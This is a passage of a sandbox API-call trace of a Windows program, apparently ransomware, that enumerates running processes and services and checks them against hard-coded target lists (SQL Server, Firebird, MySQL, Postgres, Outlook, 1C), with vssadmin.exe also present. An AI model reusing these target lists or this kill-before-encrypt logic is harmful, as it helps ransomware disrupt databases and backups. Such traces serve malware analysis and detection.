	[0248.719] Process32NextW (in: hSnapshot=0x1b0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0248.719] lstrlenW (lpString="conhost.exe") returned 11
	[0248.719] Process32NextW (in: hSnapshot=0x1b0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0248.720] lstrlenW (lpString="vssadmin.exe") returned 12
	[0248.720] Process32NextW (in: hSnapshot=0x1b0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0
	[0248.720] CloseHandle (hObject=0x1b0) returned 1
	[0248.720] Sleep (dwMilliseconds=0x1f4) 
	[0249.337] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c5b10
	[0249.338] EnumServicesStatusExW (in: hSCManager=0x41c5b10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 0
	[0249.338] GetLastError () returned 0xea
	[0249.338] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa08) returned 0x41d1fe0
	[0249.339] EnumServicesStatusExW (in: hSCManager=0x41c5b10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41d1fe0, cbBufSize=0xa08, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41d1fe0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 1
	[0249.339] CloseServiceHandle (hSCObject=0x41c5b10) returned 1
	[0249.339] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0249.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0249.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0249.339] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0249.339] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0249.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0249.339] lstrlenW (lpString="AudioSrv") returned 8
	[0249.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0249.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0249.340] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0249.340] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0249.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0249.340] lstrlenW (lpString="BFE") returned 3
	[0249.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0249.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0249.340] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0249.340] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0249.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0249.340] lstrlenW (lpString="CscService") returned 10
	[0249.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0249.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0249.340] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0249.340] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0249.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0249.340] lstrlenW (lpString="DcomLaunch") returned 10
	[0249.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0249.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0249.340] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0249.340] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0249.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0249.340] lstrlenW (lpString="Dhcp") returned 4
	[0249.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0249.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0249.340] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0249.340] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0249.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0249.340] lstrlenW (lpString="Dnscache") returned 8
	[0249.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0249.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0249.340] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0249.340] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0249.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0249.341] lstrlenW (lpString="eventlog") returned 8
	[0249.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0249.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0249.341] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0249.341] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0249.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0249.341] lstrlenW (lpString="EventSystem") returned 11
	[0249.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0249.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0249.341] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0249.341] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0249.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0249.341] lstrlenW (lpString="gpsvc") returned 5
	[0249.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0249.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0249.341] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0249.341] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0249.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0249.341] lstrlenW (lpString="lmhosts") returned 7
	[0249.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0249.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0249.341] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0249.341] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0249.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0249.341] lstrlenW (lpString="MMCSS") returned 5
	[0249.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0249.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0249.341] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0249.341] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0249.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0249.341] lstrlenW (lpString="nsi") returned 3
	[0249.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0249.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0249.342] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0249.342] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0249.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0249.342] lstrlenW (lpString="PlugPlay") returned 8
	[0249.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0249.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0249.342] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0249.342] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0249.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0249.342] lstrlenW (lpString="Power") returned 5
	[0249.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0249.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0249.342] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0249.342] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0249.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0249.342] lstrlenW (lpString="ProfSvc") returned 7
	[0249.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0249.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0249.342] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0249.342] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0249.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0249.342] lstrlenW (lpString="RpcEptMapper") returned 12
	[0249.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0249.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0249.342] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0249.342] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0249.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0249.342] lstrlenW (lpString="RpcSs") returned 5
	[0249.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0249.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0249.342] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0249.343] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0249.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0249.343] lstrlenW (lpString="SamSs") returned 5
	[0249.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0249.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0249.343] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0249.343] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0249.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0249.343] lstrlenW (lpString="Schedule") returned 8
	[0249.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0249.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0249.343] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0249.343] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0249.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0249.343] lstrlenW (lpString="SENS") returned 4
	[0249.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0249.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0249.343] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0249.343] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0249.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0249.343] lstrlenW (lpString="ShellHWDetection") returned 16
	[0249.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0249.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0249.343] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0249.343] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0249.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0249.343] lstrlenW (lpString="Spooler") returned 7
	[0249.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0249.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0249.343] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0249.343] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0249.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0249.344] lstrlenW (lpString="Themes") returned 6
	[0249.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0249.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0249.344] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0249.344] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0249.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0249.344] lstrlenW (lpString="UxSms") returned 5
	[0249.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0249.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0249.344] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0249.344] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0249.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0249.344] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41d1fe0 | out: hHeap=0x4a0000) returned 1
	[0249.344] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x270
	[0249.345] Process32FirstW (in: hSnapshot=0x270, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0249.346] Process32NextW (in: hSnapshot=0x270, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0249.346] lstrlenW (lpString="System") returned 6
	[0249.346] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0249.346] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0249.346] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0249.346] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0249.346] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0249.346] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0249.346] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0249.346] Process32NextW (in: hSnapshot=0x270, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0249.346] lstrlenW (lpString="smss.exe") returned 8
	[0249.346] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0249.346] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0249.346] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0249.346] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0249.346] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0249.346] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0249.346] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0249.347] Process32NextW (in: hSnapshot=0x270, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0249.347] lstrlenW (lpString="csrss.exe") returned 9
	[0249.347] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0249.347] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0249.347] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0249.347] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0249.347] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0249.347] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0249.347] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0249.347] Process32NextW (in: hSnapshot=0x270, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0249.347] lstrlenW (lpString="wininit.exe") returned 11
	[0249.347] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0249.347] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0249.347] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0249.347] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0249.347] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0249.347] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0249.348] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0249.348] Process32NextW (in: hSnapshot=0x270, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0249.348] lstrlenW (lpString="csrss.exe") returned 9
	[0249.348] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0249.348] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0249.348] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0249.348] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0249.348] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0249.348] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0249.348] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0249.348] Process32NextW (in: hSnapshot=0x270, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0249.348] lstrlenW (lpString="winlogon.exe") returned 12
	[0249.348] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1
	[0249.349] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1
	[0249.349] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1
	[0249.349] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1
	[0249.349] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1
	[0249.349] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1
	[0249.349] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1
	[0249.349] Process32NextW (in: hSnapshot=0x270, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0249.349] lstrlenW (lpString="services.exe") returned 12
	[0249.349] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1
	[0249.349] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1
	[0249.349] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1
	[0249.349] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1
	[0249.349] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1
	[0249.349] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1
	[0249.349] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1
	[0249.349] Process32NextW (in: hSnapshot=0x270, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0249.349] lstrlenW (lpString="lsass.exe") returned 9
	[0249.349] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1
	[0249.349] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1
	[0249.350] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1
	[0249.350] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1
	[0249.350] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1
	[0249.350] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1
	[0249.350] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1
	[0249.350] Process32NextW (in: hSnapshot=0x270, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0249.350] lstrlenW (lpString="lsm.exe") returned 7
	[0249.350] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1
	[0249.350] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1
	[0249.350] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1
	[0249.350] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1
	[0249.350] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1
	[0249.350] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1
	[0249.350] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1
	[0249.350] Process32NextW (in: hSnapshot=0x270, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0249.350] lstrlenW (lpString="svchost.exe") returned 11
	[0249.350] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0249.350] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0249.351] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0249.351] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0249.351] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0249.351] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0249.351] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0249.351] Process32NextW (in: hSnapshot=0x270, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0249.351] lstrlenW (lpString="svchost.exe") returned 11
	[0249.351] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0249.351] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0249.351] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0249.351] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0249.351] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0249.351] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0249.351] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0249.351] Process32NextW (in: hSnapshot=0x270, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0249.351] lstrlenW (lpString="svchost.exe") returned 11
	[0249.351] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0249.351] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0249.351] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0249.352] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0249.352] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0249.352] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0249.352] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0249.352] Process32NextW (in: hSnapshot=0x270, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0249.352] lstrlenW (lpString="svchost.exe") returned 11
	[0249.352] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0249.352] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0249.352] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
